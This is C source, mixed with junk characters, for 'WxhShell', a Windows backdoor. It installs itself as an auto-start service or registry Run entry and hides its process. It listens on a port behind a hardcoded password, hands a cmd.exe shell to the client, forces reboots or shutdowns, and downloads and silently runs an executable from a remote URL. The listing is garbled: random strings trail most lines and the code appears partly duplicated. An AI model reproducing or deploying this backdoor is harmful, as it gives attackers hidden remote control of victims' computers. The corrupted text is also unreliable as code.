    if(Boot(SHUTDOWN)) jBb:)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A{MMY{K3  
    else { z#m ~}  
    closesocket(wsh); wt]onve}%  
    ExitThread(0); 6o6I]QL  
    } n86LU Sj5  
    break; !c W6dc^  
    } VX0}x+LJ  
  // 获取shell L xP%o  
  case 's': { Y'*oW+K  
    CmdShell(wsh); &.F ]-1RN[  
    closesocket(wsh); f}=>c|Do  
    ExitThread(0); Q WcQtM  
    break; Zjd9@  
  } R.(PZCvS  
  // 退出 Qco8m4n  
  case 'x': { F$M^}vsjGx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pLSh +*F  
    CloseIt(wsh); F JCs$0  
    break; 7H.3.j(L  
    } H\RejGR  
  // 离开 Ym%XCl  
  case 'q': { g-?@a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @ Z.BYC  
    closesocket(wsh); >e>%AMzo[  
    WSACleanup(); m~04I~8vk  
    exit(1); F/V -@SF  
    break; bI+/0X x  
        } &n9&k Em  
  } ,Wv+Ek  
  } T[Lz4;TRk5  
[n4nnmM  
  // 提示信息 Wz%H?m:g#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); galzk$D  
} LY-,cXm&|  
  } G>=Fdt7Oc  
9A~w2z\G  
  return; rtNYX=P  
} iYD5~pK8  
sKCYGt$  
// shell模块句柄 hi`[  
int CmdShell(SOCKET sock) 0 30LT$&!  
{ t'1g+g  
STARTUPINFO si; bFjH* ~ P  
ZeroMemory(&si,sizeof(si)); pu~b\&^G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,oykOda:|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (@->AJF1\  
PROCESS_INFORMATION ProcessInfo; I3HO><o f  
char cmdline[]="cmd"; )pSA|Qt N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t W+"/<U  
  return 0; \HXq~Y  
} zZ6m`]{B9?  
4_kY^"*#"  
// 自身启动模式 d~ +(g!  
int StartFromService(void) _B>'07D0  
{ NOg/rDs'{  
typedef struct aVCPaYe^  
{ !wN2BCSY@  
  DWORD ExitStatus; z%S$~^=b  
  DWORD PebBaseAddress; zOd* >  
  DWORD AffinityMask; w"5Eyz-eO  
  DWORD BasePriority; vJxE F&X  
  ULONG UniqueProcessId; w? >f:2(=[  
  ULONG InheritedFromUniqueProcessId; ~| b\1SR  
}   PROCESS_BASIC_INFORMATION; C$q};7b1N  
3~{I/ft  
PROCNTQSIP NtQueryInformationProcess; 2xf #@`U  
)9^)t   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z#.1p'3qm1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Kl:4 Tv  
<rtKPlb//  
  HANDLE             hProcess; /jNvHo^B  
  PROCESS_BASIC_INFORMATION pbi; ! ui   
P0yDL:X[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v^ "qr?3V  
  if(NULL == hInst ) return 0; Q7rBc wm5  
rRg,{:;A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vbt!, 2_)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^R=`<jx   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;89kL]  
8T1zL.u>q  
  if (!NtQueryInformationProcess) return 0; [3"F$?e5  
vn+XY =Qnr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gUNhN1=  
  if(!hProcess) return 0; G&xtL  
Pr1q X5>=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _aR{B-E  
T? Kh '  
  CloseHandle(hProcess); 1^LdYO?g'  
("\{=XA Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ie(i1?`A8  
if(hProcess==NULL) return 0; vP x/&x  
;Ax-f04gG  
HMODULE hMod; \o}T0YX  
char procName[255]; Asv]2> x  
unsigned long cbNeeded; XHekz6_  
s EFQ8S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @QV0l]H0+  
*#'j0;2F  
  CloseHandle(hProcess); tBbOxMm0  
PQDLbSe)\  
if(strstr(procName,"services")) return 1; // 以服务启动  +=jS!  
Bhxs(NO  
  return 0; // 注册表启动 :~ pGHl  
} 3("C'(W  
KEtV  
// 主模块 Sp492W+  
int StartWxhshell(LPSTR lpCmdLine) Xd=KBB[r?  
{ gzIx!sc  
  SOCKET wsl; [02rs@c>  
BOOL val=TRUE; lhKn&U  
  int port=0; /kY9z~l  
  struct sockaddr_in door; db~^Gqv6k  
5>I-? Ki  
  if(wscfg.ws_autoins) Install(); JcWp14~e  
4d`YZNvZW/  
port=atoi(lpCmdLine); qFD ZD)K  
uX*2Rs$s  
if(port<=0) port=wscfg.ws_port; 4~,Z 'k  
d #1Y^3n  
  WSADATA data; H"FK(N\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sqrLys_S  
l::q F 0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QQBh)5F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QkBw59L7  
  door.sin_family = AF_INET; E +_n@t"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jqj!k*=/  
  door.sin_port = htons(port); H:@hCO[a  
zbmC? 2$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z+&V  >  
closesocket(wsl); +P^ ;7"H  
return 1; @khFk.LBD  
} x "{aO6M  
SI=$s>1  
  if(listen(wsl,2) == INVALID_SOCKET) { =0pt-FQ  
closesocket(wsl); wAKHD*M)  
return 1; f`n4'dG  
} Z^_qXerjP  
  Wxhshell(wsl); !?nbB2,  
  WSACleanup(); q#tUDxf(|  
5p (zhfuG  
return 0; _K o#36.S  
B n7uKa{P  
} Ipk;Nq  
S MWXP  
// 以NT服务方式启动 nF@**,C Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @|\9<S  
{ R9U{r.AA  
DWORD   status = 0; 3>KEl^1DB  
  DWORD   specificError = 0xfffffff; )i~AXBt}  
iApq!u,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; & Q3Fgj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,AP0*Ln  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GGp.u@\r  
  serviceStatus.dwWin32ExitCode     = 0; uzBQK  
  serviceStatus.dwServiceSpecificExitCode = 0; sp,-JZD  
  serviceStatus.dwCheckPoint       = 0; oX|T&"&  
  serviceStatus.dwWaitHint       = 0; e9o\qEm   
<y@v v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Cw]~jh  
  if (hServiceStatusHandle==0) return; }R%H?&P  
qYC&0`:H  
status = GetLastError(); 6kYluV+j  
  if (status!=NO_ERROR) vqSpF6F q  
{ F\ B/q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =rA?,74  
    serviceStatus.dwCheckPoint       = 0; 4!IuTPmr  
    serviceStatus.dwWaitHint       = 0; ./#YUIC  
    serviceStatus.dwWin32ExitCode     = status; h[W`P%xZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; AELj"=RA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "+(|]q"W  
    return; N d].(_  
  } ubwM*P  
ev4[4T-( @  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GC')50T J  
  serviceStatus.dwCheckPoint       = 0; 2? qC8eC  
  serviceStatus.dwWaitHint       = 0; $aV62uNf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V|8'3=Z=  
} mtmC,jnD  
<tD,Uu{P  
// 处理NT服务事件,比如:启动、停止 O] @E8<?^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j'D%eQI,V  
{ ek][^^4o  
switch(fdwControl) "`>6M&`U  
{ 0P$1=oK  
case SERVICE_CONTROL_STOP: 8A#,*@V[  
  serviceStatus.dwWin32ExitCode = 0; ~CNB3r5R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MgeC-XQM  
  serviceStatus.dwCheckPoint   = 0; |Xt.[1  
  serviceStatus.dwWaitHint     = 0; Tn&_ >R  
  { csy6_q(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MTu\T  
  } Sq5,}oT_{j  
  return; \Y4(+t=4  
case SERVICE_CONTROL_PAUSE: h.edb6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TTXF r  
  break; w?ugZYwX*  
case SERVICE_CONTROL_CONTINUE: NM{)liP ;8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _4by3?<c  
  break; J :O!4gI  
case SERVICE_CONTROL_INTERROGATE: _%e8GWf  
  break; Xdn&%5rI  
}; B4y_{V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fi i(dmn  
} t<45[~[  
if*V-$[I  
// 标准应用程序主函数 $gl|^c\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zG9FO/@av  
{ cXq9k!I%  
L^JU{\C  
// 获取操作系统版本 0z>IYw|UB  
OsIsNt=GetOsVer(); `=(<!nXJx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C m:AU;  
bBi>BP =  
  // 从命令行安装 %p 6Ms  
  if(strpbrk(lpCmdLine,"iI")) Install(); s~Eo]e  
%3`*)cp@  
  // 下载执行文件 t/[2{'R4  
if(wscfg.ws_downexe) { k8s)PN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cog}a  
  WinExec(wscfg.ws_filenam,SW_HIDE); o<nM-"yWb  
} o@)Fy51DD  
Ue}1(2.v  
if(!OsIsNt) { 1S?~ c25=h  
// 如果时win9x,隐藏进程并且设置为注册表启动 *y4DK6OFe  
HideProc(); xm{?h,U,  
StartWxhshell(lpCmdLine); P.Nt jz/B  
} 9K$ x2U  
else zqA>eDx  
  if(StartFromService()) sPNm.W$_  
  // 以服务方式启动 E-WpsNJ)X  
  StartServiceCtrlDispatcher(DispatchTable); OC&BJNOi  
else x// uF  
  // 普通方式启动 f&vMv.  
  StartWxhshell(lpCmdLine); !KI^Z1dP(  
Fg`<uW]TFZ  
return 0; p*<Jg l  
} /we]i1-9  
n.l#(`($4  
#ft9ms#N  
Qb {[xmc  
=========================================== o33t~@RX  
w[GEm,ZC  
Zq 4%O7%  
AWcbbj6Nd  
lf-.c$.>  
6.]~7n  
" H'i\N?VL  
9wx]xg4l"  
#include <stdio.h> AJ\gDjj<  
#include <string.h> Y2VfJ}%Q  
#include <windows.h> &$XTe2  
#include <winsock2.h> ? l~qb]._  
#include <winsvc.h> :Quep-:fy<  
#include <urlmon.h> #H6YI3 `G  
)xVf3l pQ  
#pragma comment (lib, "Ws2_32.lib") |M?s[}ll  
#pragma comment (lib, "urlmon.lib") ,=e.Q AF!"  
-3ePCAtXbe  
#define MAX_USER   100 // 最大客户端连接数 S:z|"u:+  
#define BUF_SOCK   200 // sock buffer >$ZhhM/} J  
#define KEY_BUFF   255 // 输入 buffer GJdL1ptc  
u.A}&'H  
#define REBOOT     0   // 重启 6?x F!VIL  
#define SHUTDOWN   1   // 关机  L]l/w  
|dxWO  
#define DEF_PORT   5000 // 监听端口 ?n# $y@U  
#e.x]v:  
#define REG_LEN     16   // 注册表键长度 4Q!%16 P  
#define SVC_LEN     80   // NT服务名长度 3^P;mQ$p1  
@:im/SE  
// 从dll定义API 8Y-*rpLy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +tk`$g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z,p@toj'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d%I7OBBx@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o~'p&f  
^Zvb3RJg  
// wxhshell配置信息 a=W%x{  
struct WSCFG { '`;=d<'  
  int ws_port;         // 监听端口  3*Q=)}  
  char ws_passstr[REG_LEN]; // 口令 yMdu Zmkc  
  int ws_autoins;       // 安装标记, 1=yes 0=no dA~_[x:Z  
  char ws_regname[REG_LEN]; // 注册表键名 #6a!OQj  
  char ws_svcname[REG_LEN]; // 服务名 JFI*Pt;X9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sPc}hG+N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vw>(JCR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ktPM66`b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .RmFYV0,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }J?,?>Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y;R,ph.a  
g}R#0gkdk}  
}; E-^(VZ_Xj  
9Tr ceL;  
// default Wxhshell configuration Ytc[ kp  
struct WSCFG wscfg={DEF_PORT, 48z%dBmTT*  
    "xuhuanlingzhe", o6^ETQ  
    1, TfJ*G6\7e#  
    "Wxhshell", 3XB`|\:  
    "Wxhshell", t;Z9p7rk  
            "WxhShell Service", +wz1kPRs  
    "Wrsky Windows CmdShell Service", 7:g_:}m  
    "Please Input Your Password: ", 4Y'Ne2M{  
  1, #8L: .,AYE  
  "http://www.wrsky.com/wxhshell.exe", khjdTq\\  
  "Wxhshell.exe" ]i075bO/  
    }; &KBDrJEX  
8g:VfzaHu  
// 消息定义模块 13 h,V]ak  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8+Tv@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]O}e{Q>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XzIC~}  
char *msg_ws_ext="\n\rExit."; =p5]r:9W  
char *msg_ws_end="\n\rQuit."; { k=3OIp  
char *msg_ws_boot="\n\rReboot..."; KaMg [ G  
char *msg_ws_poff="\n\rShutdown..."; )-"<19eu  
char *msg_ws_down="\n\rSave to "; ]35`N<Ac  
P0; y  
char *msg_ws_err="\n\rErr!"; X2I_,k'fQ  
char *msg_ws_ok="\n\rOK!"; [(a3ljbRX  
..h@QQ  
char ExeFile[MAX_PATH]; q.R(>ZcV  
int nUser = 0; (`slC~"  
HANDLE handles[MAX_USER]; =RXeN+ &R  
int OsIsNt; 6|'7Mr~\  
;o)'dK  
SERVICE_STATUS       serviceStatus; s]e `q4ip  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8 pf]M&  
gFuK/]gzI  
// 函数声明 &x B^  
int Install(void); g?|Z/eVJ  
int Uninstall(void); R|}4H*N  
int DownloadFile(char *sURL, SOCKET wsh); SVZ@'X\[M  
int Boot(int flag); F#yn'j8  
void HideProc(void); P c&dU1  
int GetOsVer(void); X]9<1[f  
int Wxhshell(SOCKET wsl); lH?jqp  
void TalkWithClient(void *cs); q{}5wM  
int CmdShell(SOCKET sock); 3]'ab-,Vp  
int StartFromService(void); t$,G%micj  
int StartWxhshell(LPSTR lpCmdLine); LmyaC2  
J~J+CGT~2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P<Z` 8a[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &ZMQ]'&  
sqpo5~  
// 数据结构和表定义 T^MY w  
SERVICE_TABLE_ENTRY DispatchTable[] = wbOYtN Y@  
{ &Jb$YKt  
{wscfg.ws_svcname, NTServiceMain}, IhK SwT  
{NULL, NULL} h}'Hst  
}; Q=%W-  
$bKXP(  
// 自我安装 E@otV6Wk[@  
int Install(void) $?!]?{K  
{ ?7)v:$(G}  
  char svExeFile[MAX_PATH]; 4~A$u^scn  
  HKEY key; qLX<[UL  
  strcpy(svExeFile,ExeFile); .3UJ*^(?  
I74Rw*fB  
// 如果是win9x系统,修改注册表设为自启动 Y|b,pC|,  
if(!OsIsNt) { ^ )"Il  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CG@Fn\J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,]yS BAO  
  RegCloseKey(key); \"RCJadK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XXX y*/P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ld#x'/  
  RegCloseKey(key); {[:C_Up)f  
  return 0; xMQ>,nZ  
    } At[Q0'jkc  
  } |*w)]2B l  
} :zo5`[P  
else { 1yz%ud-l  
9[X'9* ,  
// 如果是NT以上系统,安装为系统服务 .czUJyFms}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2<OU)rVE4  
if (schSCManager!=0) -z. wAp  
{ CV^%'HIs?+  
  SC_HANDLE schService = CreateService At<MY`ka  
  ( ^S;{;c+'  
  schSCManager, S'$m3,l(k  
  wscfg.ws_svcname, *7Y#G8 s  
  wscfg.ws_svcdisp, "8uNa  
  SERVICE_ALL_ACCESS, @i(9k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 451.VI}MR  
  SERVICE_AUTO_START, 68bvbig  
  SERVICE_ERROR_NORMAL, Kv!:2br  
  svExeFile, ;p~!('{P  
  NULL, MYb^G\K  
  NULL, S?`0,F  
  NULL, U5-8It2OR  
  NULL, .]KC*2  
  NULL f^hJAZ  
  ); z]hRc8 g}d  
  if (schService!=0) ?mC'ZYQI  
  { kmTYRl )j  
  CloseServiceHandle(schService); -,;woOG  
  CloseServiceHandle(schSCManager); Q\IViM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '?m2|9~  
  strcat(svExeFile,wscfg.ws_svcname); ipMSMk7gx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^1c7\"{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RFS} !_t+|  
  RegCloseKey(key); aqk$4IG  
  return 0; Op9 ^Eu%n  
    } re%XaL  
  } [/*;}NUv  
  CloseServiceHandle(schSCManager); ;Q q_  
} 6RxI9{ry  
} f^QC4hf0  
x.t&NP^V)  
return 1; P}a$#a'!  
} q$yg^:]2  
#E=8kbD7  
// 自我卸载 i" u|119  
int Uninstall(void) i Pr(X  
{ VfJ{);   
  HKEY key; GK,{$SC+=  
PX^ k;  
if(!OsIsNt) { uUHWTyoO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 SbZD   
  RegDeleteValue(key,wscfg.ws_regname); n7~3~i` D;  
  RegCloseKey(key); t>%b[(a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IFr"IOr'l  
  RegDeleteValue(key,wscfg.ws_regname); mT@Gf>}/A  
  RegCloseKey(key); 9&zR i  
  return 0; HH6H4K3Zj  
  } ^|vk^`S  
} iJ*Wsp  
} r|ZB3L|7  
else { $$0 < &  
DC> R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RJ0,7 E<B  
if (schSCManager!=0) Yz[Rl ^  
{ _8K8Ai-~.>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JBw2#ry  
  if (schService!=0) uA =%EEZ  
  { lU=VCuW!  
  if(DeleteService(schService)!=0) { [];wP '*  
  CloseServiceHandle(schService); IMdp"  
  CloseServiceHandle(schSCManager); _(gkYJ+MK  
  return 0; OOIp)=4  
  } ,Js_d  
  CloseServiceHandle(schService); .WN&]yr,  
  } |zfFB7}v  
  CloseServiceHandle(schSCManager); Mi(6HMA.SF  
} 7=X6_AD  
} ^J^~5q8  
WwnBe"7M  
return 1; *]<=04v]R  
} BHgs,  
N#-. [9!  
// 从指定url下载文件 Ufi#y<dP  
int DownloadFile(char *sURL, SOCKET wsh) @,Dnl v|?  
{ v+sF0 j\P  
  HRESULT hr; n{<@-6  
char seps[]= "/"; AIQ {^:  
char *token; {U3jJ#K  
char *file; \pK&gdw  
char myURL[MAX_PATH]; ?Q=(?yR0]  
char myFILE[MAX_PATH]; /{8Y,pZbu  
@##}zku  
strcpy(myURL,sURL); 4mp)v*z  
  token=strtok(myURL,seps); +RpCh!KP  
  while(token!=NULL) zCA8}](C^  
  { t xnH~;(  
    file=token; t'W6Fmwkx  
  token=strtok(NULL,seps); cC$YD]XdIA  
  } 8R\6hYJ%F  
[D+PDR  
GetCurrentDirectory(MAX_PATH,myFILE); GFbn>dY  
strcat(myFILE, "\\"); G] tT=X[  
strcat(myFILE, file); b9i_\  
  send(wsh,myFILE,strlen(myFILE),0); jM6$R1HX  
send(wsh,"...",3,0); F+R1}5-3cl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZT/f  
  if(hr==S_OK) d!&LpODI]*  
return 0; 0]DX KI  
else LR#.xFQ+  
return 1; =M@)q y  
\J?&XaO=  
} ^hEN  
m^ar:mK@  
// 系统电源模块 Xu_1r8-|=b  
int Boot(int flag) r:0RvWif  
{ Dvz 6 E  
  HANDLE hToken; VY~*QF~P  
  TOKEN_PRIVILEGES tkp; =|$U`~YB  
L&NpC&>wD  
  if(OsIsNt) { MxGQM>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fWfhs}_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k8}'@w  
    tkp.PrivilegeCount = 1; $`0^E#Nl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FChW`b&S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xk8NX-:  
if(flag==REBOOT) { G;t< dJ8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]+qd|}^  
  return 0; Jq>5:"jZ0  
} p'@z}T?F  
else { :nnch?J_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (1er?4  
  return 0; \KpJIHkBRy  
} <$uDN].T4  
  } si]MQ\i+  
  else { v/]xdP^Z  
if(flag==REBOOT) { Y@ ;/Sf$Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8?EKF+.u|  
  return 0; Te)%L*X  
} BgCEv"G5  
else { ,T  3M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V+0pvgS[  
  return 0; {~EsO1p  
} sKiy 1Ww  
} 1#>uqUxah  
8BS Nm  
return 1; u, 72Mm>  
} r`)'Kd  
+\PLUOk  
// win9x进程隐藏模块 *$('ous8  
void HideProc(void) +W[{UC4b  
{ 0_^3 |n  
<7ag=IgDy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NgxJz ]b  
  if ( hKernel != NULL ) ) AGE"M3X  
  { HPO:aGU   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tg/!=g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uul5h8F  
    FreeLibrary(hKernel); 6_9@s*=d>  
  } m9 D*I1  
Dg ~k"Ice  
return; 65+2+p  
} "x_G6JE4tv  
_a?x)3\v  
// 获取操作系统版本 nM8'="$  
int GetOsVer(void) 6(A"5B=\  
{ m5?t<H~  
  OSVERSIONINFO winfo; 1Sns$t%b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q8e]{sT'!  
  GetVersionEx(&winfo); [zrFW g6N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a*_" nI&lr  
  return 1; sC :.}6  
  else Y{4nBu  
  return 0; `v/p4/  
} 7Z}T!HFMr  
KlwB oC/{K  
// 客户端句柄模块 Z y6kA\q  
int Wxhshell(SOCKET wsl) V3 ~&R:Z9e  
{ YZ->ep}  
  SOCKET wsh; vBY?3p,0p  
  struct sockaddr_in client; kk CoOTe&  
  DWORD myID; [-)BI|S:  
?%Pi#%P  
  while(nUser<MAX_USER) vhU $GG8  
{ XzBl }4s  
  int nSize=sizeof(client); 56Lt "Z F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a63Ud<_a7  
  if(wsh==INVALID_SOCKET) return 1; 01%0u8U  
gHWsKE  %  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m{yq.H[X  
if(handles[nUser]==0) O`>u70  
  closesocket(wsh); W{}M${6&  
else 2rf#Bq?7  
  nUser++; PP6gU=9[)  
  } '?mky,:HT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @_#]7  
)o::~ eu  
  return 0; u@4khN: ^p  
} 0SZ:C(]  
5S7ATr(*  
// 关闭 socket }qhND-9#@  
void CloseIt(SOCKET wsh) OR10IS  
{ "@xL9[d  
closesocket(wsh); *>lXCx  
nUser--; `7 Nk;  
ExitThread(0); !,DA`Yt  
} $cO-+Mr-~  
wFL7JwK:G  
// 客户端请求句柄 kxY9[#:<fB  
void TalkWithClient(void *cs) y(**F8>?xE  
{ xUB{{8B:L  
\%#luk@:  
  SOCKET wsh=(SOCKET)cs; Oh7wyQiV  
  char pwd[SVC_LEN]; :-+j,G9 t  
  char cmd[KEY_BUFF]; .7Itbp6=R  
char chr[1]; $j0<ef!  
int i,j; 6s:  
)},/=#C0  
  while (nUser < MAX_USER) { |@MGGAk  
+'9xTd  
if(wscfg.ws_passstr) { xI5zP? _v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "!o|^nN,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S"Ag7i  
  //ZeroMemory(pwd,KEY_BUFF); n1y*`5!  
      i=0; 2cv=7!K4Uv  
  while(i<SVC_LEN) { )aX#RM? N  
~/Kqkhq+c  
  // 设置超时 *nY$YwHB  
  fd_set FdRead; 6?l|MU"Q.  
  struct timeval TimeOut; ~:UAL}b{\~  
  FD_ZERO(&FdRead); Rap_1o9#\  
  FD_SET(wsh,&FdRead); <'P+2(Oi  
  TimeOut.tv_sec=8; T FK#ign  
  TimeOut.tv_usec=0; HhUk9 >7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tHH @[E+h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t)l^$j !h@  
tj" EUqKQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); arn7<w0  
  pwd=chr[0]; 0(|36 ;x  
  if(chr[0]==0xd || chr[0]==0xa) { )KN]"<jB  
  pwd=0; h]^= y.Q  
  break; =#?=Lh  
  } E@)9'?q  
  i++; CN#2-[T  
    } 4AN(4"$N  
ek0,@Vg9  
  // 如果是非法用户,关闭 socket ']>/$[!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xbze{9n"  
} R lmeZy4.  
U{0! <*W>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X}]g;|~SN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FzQ6UO~'  
Z}r9jM  
while(1) { 9Qc=D"'  
~qb-uT\(99  
  ZeroMemory(cmd,KEY_BUFF); 24d{ol)  
@Yzb6@g"  
      // 自动支持客户端 telnet标准   y6Ea_v  
  j=0; TZE;$:1vx>  
  while(j<KEY_BUFF) { l|  QQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E"t79dD  
  cmd[j]=chr[0]; *>7Zc  
  if(chr[0]==0xa || chr[0]==0xd) { #}nDX4jI  
  cmd[j]=0; 8F T@TUFb  
  break; ZTi KU)  
  } '<hg c  
  j++; fzjZiBK@  
    } C +S>;1  
T|h'"3'  
  // 下载文件 0"xD>ue&  
  if(strstr(cmd,"http://")) { _!E/ em  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d /`d:g  
  if(DownloadFile(cmd,wsh)) T2MXwd&l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w O*x0$  
  else w?A6S-z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p!p:LSk"/b  
  } @" BkLF  
